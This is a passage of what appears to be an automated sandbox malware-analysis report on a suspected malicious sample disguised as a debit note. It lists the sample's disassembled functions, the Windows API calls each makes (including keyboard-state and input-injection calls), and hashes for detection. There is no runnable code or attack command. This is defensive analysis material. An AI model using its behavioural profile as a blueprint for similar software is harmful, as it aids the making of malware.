                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Destroy$DeleteImageList_ObjectWindow$Icon
                                          • String ID:
                                          • API String ID: 3985565216-0
                                          • Opcode ID: 49ccd75876ce99cd15ee405d1ac93d8c116bb45471ccb95599c5d22b34275644
                                          • Instruction ID: 510e71718d61fb01ae158a6e5fa7ad280301b7661e5b3aef53c80a3471921dd4
                                          • Opcode Fuzzy Hash: 49ccd75876ce99cd15ee405d1ac93d8c116bb45471ccb95599c5d22b34275644
                                          • Instruction Fuzzy Hash: 70217E70200A00EFCB20DF25D9D4A2A77AABF48712F10896DE906CB356D739EC45CB69
                                          Function 0041F6F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • _malloc.LIBCMT ref: 0041F707
                                            • Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
                                            • Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
                                            • Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600
                                          • _free.LIBCMT ref: 0041F71A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AllocateHeap_free_malloc
                                          • String ID: [B
                                          • API String ID: 1020059152-632041663
                                          • Opcode ID: a147dbbc68d3dd3311601ddf04658a1c9df9f8119054b67091eb48bbc5a1b0d2
                                          • Instruction ID: 066e14217b5799beb7557260d36092b09813ce611e9d099bbd870b86b34de80c
                                          • Opcode Fuzzy Hash: a147dbbc68d3dd3311601ddf04658a1c9df9f8119054b67091eb48bbc5a1b0d2
                                          • Instruction Fuzzy Hash: 0211EB32454615AACB213F75EC086DB3BA49F443A5B20053BF824CA2D1DB7C88C7C7AC
                                          Function 00413D7F Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ___set_flsgetvalue.LIBCMT ref: 00413DA4
                                          • __calloc_crt.LIBCMT ref: 00413DB0
                                          • __getptd.LIBCMT ref: 00413DBD
                                          • CreateThread.KERNEL32(?,?,00413D1A,00000000,?,?), ref: 00413DF4
                                          • GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00413DFE
                                          • _free.LIBCMT ref: 00413E07
                                          • __dosmaperr.LIBCMT ref: 00413E12
                                            • Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
                                          • String ID:
                                          • API String ID: 155776804-0
                                          • Opcode ID: 9a8a6ace70da3d00e2637234252d24079791dfe2cea1a90c5afbc93b71b6aba3
                                          • Instruction ID: a8fa495ec3ad1bcc0d525816251f0ff308f4c172cb7463a6c3574dd724ca7d0d
                                          • Opcode Fuzzy Hash: 9a8a6ace70da3d00e2637234252d24079791dfe2cea1a90c5afbc93b71b6aba3
                                          • Instruction Fuzzy Hash: 8E11E9321087066FD7107FA6DC459DB3BE8DF04775B20042FF91586292DB79D99186AC
                                          Function 00436C6E Relevance: 10.5, APIs: 7, Instructions: 49threadCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00436B19: GetProcessHeap.KERNEL32(00000008,0000000C,00436C79), ref: 00436B1D
                                            • Part of subcall function 00436B19: HeapAlloc.KERNEL32(00000000), ref: 00436B24
                                          • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 00436C88
                                          • GetCurrentProcess.KERNEL32(?,00000000), ref: 00436C91
                                          • DuplicateHandle.KERNEL32(00000000,?,00000000), ref: 00436C9A
                                          • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000), ref: 00436CA6
                                          • GetCurrentProcess.KERNEL32(?,00000000,?,00000000), ref: 00436CAF
                                          • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 00436CB2
                                          • CreateThread.KERNEL32(00000000,00000000,Function_00036C2B,00000000,00000000,00000000), ref: 00436CCA
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                          • String ID:
                                          • API String ID: 1957940570-0
                                          • Opcode ID: 3f80535c3287afe012eec8eac85a3d96c91e040866ec74b6355b9bdb3dfb6838
                                          • Instruction ID: 99b39fe8e7f3ac854e5c8e3994335d5d6f6ef2f737fc2b72a46a077924210789
                                          • Opcode Fuzzy Hash: 3f80535c3287afe012eec8eac85a3d96c91e040866ec74b6355b9bdb3dfb6838
                                          • Instruction Fuzzy Hash: A301E6753403047BD620EB65DC96F5B775CEB89B50F114819FA04DB1D1C6B5E8008B78
                                          Function 00413D1A Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ___set_flsgetvalue.LIBCMT ref: 00413D20
                                            • Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
                                            • Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8
                                          • ___fls_getvalue@4.LIBCMT ref: 00413D2B
                                            • Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C
                                          • ___fls_setvalue@8.LIBCMT ref: 00413D3E
                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 00413D47
                                          • ExitThread.KERNEL32 ref: 00413D4E
                                          • GetCurrentThreadId.KERNEL32 ref: 00413D54
                                          • __freefls@4.LIBCMT ref: 00413D74
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Value$Thread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                          • String ID:
                                          • API String ID: 259663610-0
                                          • Opcode ID: a6f8f3d0a20f5c796c32073770e32d9df078d3112ed711158995b20890782f5b
                                          • Instruction ID: 675159a2c5a9d795bd3e19fa90b6febf5cd616b5876767659bafc4934cd781b8
                                          • Opcode Fuzzy Hash: a6f8f3d0a20f5c796c32073770e32d9df078d3112ed711158995b20890782f5b
                                          • Instruction Fuzzy Hash: 0DF0FF75504700AFC704BF72D9498CE7BB9AF48349720846EB80987222DA3DD9C2DBA9
                                          Function 0043028B Relevance: 9.3, APIs: 6, Instructions: 255COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetClientRect.USER32(?,?), ref: 004302E6
                                          • GetWindowRect.USER32(00000000,?), ref: 00430316
                                          • GetClientRect.USER32(?,?), ref: 00430364
                                          • GetSystemMetrics.USER32(0000000F), ref: 004303B1
                                          • GetWindowRect.USER32(?,?), ref: 004303C3
                                          • ScreenToClient.USER32(?,?), ref: 004303EC
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Rect$Client$Window$MetricsScreenSystem
                                          • String ID:
                                          • API String ID: 3220332590-0
                                          • Opcode ID: b722cec4de1de3fe17d9867fbb91cd497d3f089f761d48fb585960e999a4a017
                                          • Instruction ID: e4235e81f7515d2978e088f6fadb01cec8eb5fe04dcc4a3bbd5a83ea815e8f28
                                          • Opcode Fuzzy Hash: b722cec4de1de3fe17d9867fbb91cd497d3f089f761d48fb585960e999a4a017
                                          • Instruction Fuzzy Hash: 13A14875A0070A9BCB10CFA8C594BEFB7B1FF58314F00961AE9A9E7350E734AA44CB54
                                          Function 004577E9 Relevance: 9.2, APIs: 6, Instructions: 217COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _malloc_wcslen$_strcat_wcscpy
                                          • String ID:
                                          • API String ID: 1612042205-0
                                          • Opcode ID: 1b9af233a2167b707cd0fb77bd31ffbeeda7ae7db272e33850c6ed6ee2362a10
                                          • Instruction ID: da8a40d04f443fc8bffa22af6bb0a7b3fb41b3e40a14b17b7fca75945af8e81c
                                          • Opcode Fuzzy Hash: 1b9af233a2167b707cd0fb77bd31ffbeeda7ae7db272e33850c6ed6ee2362a10
                                          • Instruction Fuzzy Hash: 40914A74604205EFCB10DF98D4C09A9BBA5FF48305B60C66AEC0A8B35AD738EE55CBD5
                                          Function 0044F1D3 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 422COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove_strncmp
                                          • String ID: >$U$\
                                          • API String ID: 2666721431-237099441
                                          • Opcode ID: 22f22e1ac28dc69493aec85f3eea1e1d82883446f00fc80900d5fd24c0790888
                                          • Instruction ID: 902f5a6c35c0d49260658601fd29bdf8c292b60929ab84f6d376942388b5a00c
                                          • Opcode Fuzzy Hash: 22f22e1ac28dc69493aec85f3eea1e1d82883446f00fc80900d5fd24c0790888
                                          • Instruction Fuzzy Hash: 8DF1B170A00249CFEB14CFA9C8906AEFBF1FF89304F2485AED845A7341D779A946CB55
                                          Function 0044C514 Relevance: 9.2, APIs: 6, Instructions: 163windowkeyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetKeyboardState.USER32(?), ref: 0044C570
                                          • SetKeyboardState.USER32(00000080), ref: 0044C594
                                          • PostMessageW.USER32(?,00000100,?,?), ref: 0044C5D5
                                          • PostMessageW.USER32(?,00000104,?,?), ref: 0044C60D
                                          • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C62F
                                          • SendInput.USER32(00000001,?,0000001C), ref: 0044C6C2
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessagePost$KeyboardState$InputSend
                                          • String ID:
                                          • API String ID: 2221674350-0
                                          • Opcode ID: 253f2b6e14f8b29283c151e9eff2603b50f4fedb3541a599f467ca45a100d6c4
                                          • Instruction ID: 625ea0eb49cc588760ebb6bc0eb208289033378f73eea84c13a2ca11a8b118cf
                                          • Opcode Fuzzy Hash: 253f2b6e14f8b29283c151e9eff2603b50f4fedb3541a599f467ca45a100d6c4
                                          • Instruction Fuzzy Hash: D1514A725001187AEB109FA99C81BFFBB68AF9E311F44815BFD8496242C379D941CBA8
                                          Function 00444BFC Relevance: 9.2, APIs: 6, Instructions: 163COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcscpy$_wcscat
                                          • String ID:
                                          • API String ID: 2037614760-0
                                          • Opcode ID: d8b18b1f5d4952a0fc5752811c1295952a1c4566f52136af492825f039622e45
                                          • Instruction ID: 99b1098f8f7a3a84d55f117cb3556dd5d93458401dda30520ad7f1c57b96c0d6
                                          • Opcode Fuzzy Hash: d8b18b1f5d4952a0fc5752811c1295952a1c4566f52136af492825f039622e45
                                          • Instruction Fuzzy Hash: 0741357190011466DB34EF5998C1BFF7368EFE6314F84455FFC4287212DB2DAA92C2A9
                                          Function 00451B42 Relevance: 9.1, APIs: 6, Instructions: 144memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
                                          • VariantCopy.OLEAUT32(?,?), ref: 00451BF8
                                          • VariantCopy.OLEAUT32(-00000068,?), ref: 00451C0E
                                          • VariantCopy.OLEAUT32(-00000088,?), ref: 00451C27
                                          • VariantClear.OLEAUT32(-00000058), ref: 00451CA1
                                          • SysAllocString.OLEAUT32(00000000), ref: 00451CBA
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Variant$Copy$AllocClearErrorLastString
                                          • String ID:
                                          • API String ID: 960795272-0
                                          • Opcode ID: 218b2f6110521206867dfa84a42cd28f2b67ec3390fd0729a790b06cd777bcc7
                                          • Instruction ID: e234943060a9aef7ccdf580943a4f321f6ba3cfb1df2bc58669f78ff50eabc4c
                                          • Opcode Fuzzy Hash: 218b2f6110521206867dfa84a42cd28f2b67ec3390fd0729a790b06cd777bcc7
                                          • Instruction Fuzzy Hash: C751AE719042099FCB14DF65CC84BAAB7B4FF48300F14856EED05A7361DB79AE45CBA8
                                          Function 00447BA8 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                          Download Yara Rule
                                          APIs
                                          • BeginPaint.USER32(00000000,?), ref: 00447BDF
                                          • GetWindowRect.USER32(?,?), ref: 00447C5D
                                          • ScreenToClient.USER32(?,?), ref: 00447C7B
                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C8E
                                          • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447CD5
                                          • EndPaint.USER32(?,?), ref: 00447D13
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                          • String ID:
                                          • API String ID: 4189319755-0
                                          • Opcode ID: 0de1757924998e3fd5473b1ac31060e8ba53e31114793872216692834f921a18
                                          • Instruction ID: 4e3fb435071a661ad846631c1082d1486cc319c76cae6976ccfd06e2d512f03c
                                          • Opcode Fuzzy Hash: 0de1757924998e3fd5473b1ac31060e8ba53e31114793872216692834f921a18
                                          • Instruction Fuzzy Hash: DC417F706042019FE310DF14D8C4F7B7BA8EB86724F14466EF9A487391CB74A806CB69
                                          Function 0044900D Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00001024,00000000,00000000), ref: 0044908B
                                          • SendMessageW.USER32(?,00000409,00000000,?), ref: 0044909F
                                          • SendMessageW.USER32(?,0000111E,00000000,00000000), ref: 004490B3
                                          • InvalidateRect.USER32(?,00000000,00000001,?,0000111E,00000000,00000000,?,00000409,00000000,?), ref: 004490C9
                                          • GetWindowLongW.USER32(?,000000F0), ref: 004490D4
                                          • SetWindowLongW.USER32(?,000000F0,00000000), ref: 004490E1
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$LongWindow$InvalidateRect
                                          • String ID:
                                          • API String ID: 1976402638-0
                                          • Opcode ID: 2001084b9f030ce18b996af9061ac6ceee4bb7592284355317d8a12df4a6bddd
                                          • Instruction ID: 8674d855734444f977eaeabaa32478bd653fbe911923e0a4a3d3eb28cec46bd0
                                          • Opcode Fuzzy Hash: 2001084b9f030ce18b996af9061ac6ceee4bb7592284355317d8a12df4a6bddd
                                          • Instruction Fuzzy Hash: 2531E135240104AFF724CF48DC89FBB77B9EB49320F10851AFA559B290CA79AD41DB69
                                          Function 00440A0D Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ShowWindow.USER32(?,00000000), ref: 00440A8A
                                          • EnableWindow.USER32(?,00000000), ref: 00440AAF
                                          • ShowWindow.USER32(?,00000000), ref: 00440B18
                                          • ShowWindow.USER32(?,00000004), ref: 00440B2B
                                          • EnableWindow.USER32(?,00000001), ref: 00440B50
                                          • SendMessageW.USER32(?,0000130C,?,00000000), ref: 00440B75
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$Show$Enable$MessageSend
                                          • String ID:
                                          • API String ID: 642888154-0
                                          • Opcode ID: 7c24049b1d37fdb6142be8766dc22fb93f1068172a9e83c57f7795f596ff73c7
                                          • Instruction ID: a5db896fb2ae06c85211a956f566d4ff66a2da6af11bfa2c2b637766cd700386
                                          • Opcode Fuzzy Hash: 7c24049b1d37fdb6142be8766dc22fb93f1068172a9e83c57f7795f596ff73c7
                                          • Instruction Fuzzy Hash: F4413C346003409FEB25CF24C588BA67BE1FF55304F1885AAEB599B3A1CB78A851CB58
                                          Function 0047974B Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 349COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
